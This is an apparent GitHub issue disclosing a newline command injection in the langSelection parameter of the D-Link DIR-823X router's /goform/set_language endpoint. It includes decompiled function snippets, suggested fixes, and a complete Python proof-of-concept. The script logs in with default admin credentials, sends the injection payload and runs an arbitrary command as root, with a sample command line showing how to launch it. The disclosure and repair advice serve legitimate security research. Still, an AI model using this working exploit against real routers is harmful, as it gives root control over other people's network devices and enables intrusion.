Skip to content

D-Link DIR-823X /goform/set_language langSelection Command Injection Vulnerability #24

@942384053

Description

@942384053

D-Link DIR-823X _goform_set_language langSelection Command Injection Vulnerability.zip

Overview
[D-Link Technical Support](http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DIR-823X)

Image

Affected Version
D-Link DIR-823X(250416)
Submitter
USTC_BUG_Hunter
Vulnerability Description
D-Link DIR-823X routers are susceptible to a Remote Command Injection vulnerability via the /goform/set_language endpoint. The flaw exists in the backend handling of the langSelection parameter.
Due to an incomplete sanitization mechanism that fails to filter newline characters (\n or 0x0A), an authenticated attacker can inject arbitrary shell commands. When the system commits the language configuration, the injected commands are executed with root privileges via the system shell.

Image

Vulnerability Details
Step 1: Parameter Extraction (Source)
The vulnerability resides in the function sub_41D354. This function retrieves user-supplied data for the language setting using the sub_4108AC function.

// [sub_41D354]
// Retrieves the langSelection parameter from the POST request
v2 = sub_4108AC(a1, "langSelection", ""); 

Step 2: Ineffective Sanitization (Bypass)
The application attempts to filter common shell metacharacters (like ;, &, and `). However, it fails to account for the newline character (\n). By injecting a newline, an attacker can terminate the intended uci command line and start a new, unauthorized command.
Step 3: Command Injection & Execution (Sink)
The unsanitized v2 value is passed to sub_415028, which writes the value to the UCI (Unified Configuration Interface) system. The function then calls sub_41355C to commit the change.

// [sub_41D354]
if ( v2 && *v2 )
{
    sub_415028("goahead.@language[0].language", v2); // Sink: Value written to config
    sub_41355C("goahead");                         // Commit configuration and trigger logic
}

Proof of Concept (PoC)

import requests
import hashlib
import hmac
import argparse
import time
import urllib3

# Suppress insecure request warnings for local environment testing
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class SetLanguageExploit:
    def __init__(self, target, username="admin", password="admin"):
        self.target = target.rstrip('/')
        self.username = username
        self.password = password
        self.session = requests.Session()
        self.token = None

    def get_token(self):
        try:
            resp = self.session.get(f"{self.target}/login.html", timeout=10, verify=False)
            cookies = self.session.cookies.get_dict()
            self.token = cookies.get('token', '')
            return self.token
        except Exception as e:
            print(f"[-] Failed to retrieve token: {e}")
            return None

    def login(self):
        if not self.token:
            self.get_token()
        
        if not self.token:
            print("[-] Unable to obtain session token")
            return False

        # Construct HMAC-SHA256 password hash as required by D-Link firmware
        password_hash = hmac.new(
            self.token.encode(),
            self.password.encode(),
            hashlib.sha256
        ).hexdigest()

        data = {
            "username": self.username,
            "password": password_hash,
            "token": self.token
        }

        try:
            resp = self.session.post(
                f"{self.target}/goform/login",
                data=data,
                timeout=10,
                verify=False
            )
            # D-Link returns ret 1, 3, or 4 for successful authentication states
            if '"ret":"1"' in resp.text or '"ret":"3"' in resp.text or '"ret":"4"' in resp.text:
                print(f"[+] Login successful")
                self.update_token()
                return True
            else:
                print(f"[-] Login failed: {resp.text}")
                return False
        except Exception as e:
            print(f"[-] Exception during login: {e}")
            return False

    def update_token(self):
        cookies = self.session.cookies.get_dict()
        new_token = cookies.get('token', '')
        if new_token and new_token != self.token:
            print(f"[*] Token updated: {new_token[:16]}...")
            self.token = new_token

    def exploit(self, command):
        if not self.token:
            print("[-] Authentication required. Please login first.")
            return False

        # Command injection payload targeting the langSelection parameter
        payload = f'en"\n{command}\necho "'

        data = {
            "langSelection": payload,
            "token": self.token
        }

        print(f"[*] Sending payload to /goform/set_language")
        print(f"[*] Injecting command: {command}")

        try:
            start_time = time.time()
            resp = self.session.post(
                f"{self.target}/goform/set_language",
                data=data,
                timeout=30,
                verify=False
            )
            elapsed = time.time() - start_time

            print(f"[*] Response time: {elapsed:.2f}s")
            print(f"[*] Response body: {resp.text}")

            # Verification logic: if sleep is used, check for time delay
            if "sleep" in command:
                try:
                    sleep_time = int(command.split()[1])
                    if elapsed >= sleep_time:
                        print(f"[+] Command injection successful! Detected {elapsed:.2f}s delay")
                        return True
                except:
                    pass

            return True
        except requests.exceptions.Timeout:
            print(f"[+] Request timed out; command likely executing on target")
            return True
        except Exception as e:
            print(f"[-] Exploit failed: {e}")
            return False

    def test_vulnerability(self):
        print("[*] Testing set_language command injection vulnerability...")
        return self.exploit("sleep 3")

def main():
    parser = argparse.ArgumentParser(
        description="D-Link DIR-823X set_language Command Injection POC (NEW-010)"
    )
    parser.add_argument("-H", "--host", required=True, help="Target IP address")
    parser.add_argument("-p", "--port", type=int, default=80, help="Target port (Default: 80)")
    parser.add_argument("-u", "--username", default="admin", help="Username (Default: admin)")
    parser.add_argument("-P", "--password", default="admin", help="Password (Default: admin)")
    parser.add_argument("-c", "--command", default="sleep 3", help="Command to execute (Default: sleep 3)")
    parser.add_argument("--test", action="store_true", help="Test vulnerability only")

    args = parser.parse_args()

    target = f"http://{args.host}:{args.port}"
    
    print(f"[*] Target: {target}")
    print(f"[*] Vulnerability ID: NEW-010 (set_language Command Injection)")
    print(f"[*] Vulnerable Parameter: langSelection")
    print()

    exploit = SetLanguageExploit(target, args.username, args.password)

    if not exploit.login():
        print("[-] Login failed. Exiting.")
        return

    if args.test:
        exploit.test_vulnerability()
    else:
        exploit.exploit(args.command)

if __name__ == "__main__":
    main()

启动poc:

python3 poc_set_language.py -H 192.168.1.1 -u admin -P admin -c "echo language > /tmp/language.txt"
Image

Suggested repair
Strict Whitelisting: Implement a strict whitelist for the langSelection parameter. Since language codes are predictable (e.g., en, zh-cn), only allow alphanumeric characters and hyphens.
Sanitize Control Characters: Explicitly reject any input containing 0x0A (LF) or 0x0D (CR) to prevent command line breaking.
Use Parameterized APIs: Instead of triggering configuration commits via shell-wrapped scripts, use the native C API for UCI to modify values. This avoids passing user-controlled strings to the shell parser entirely.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions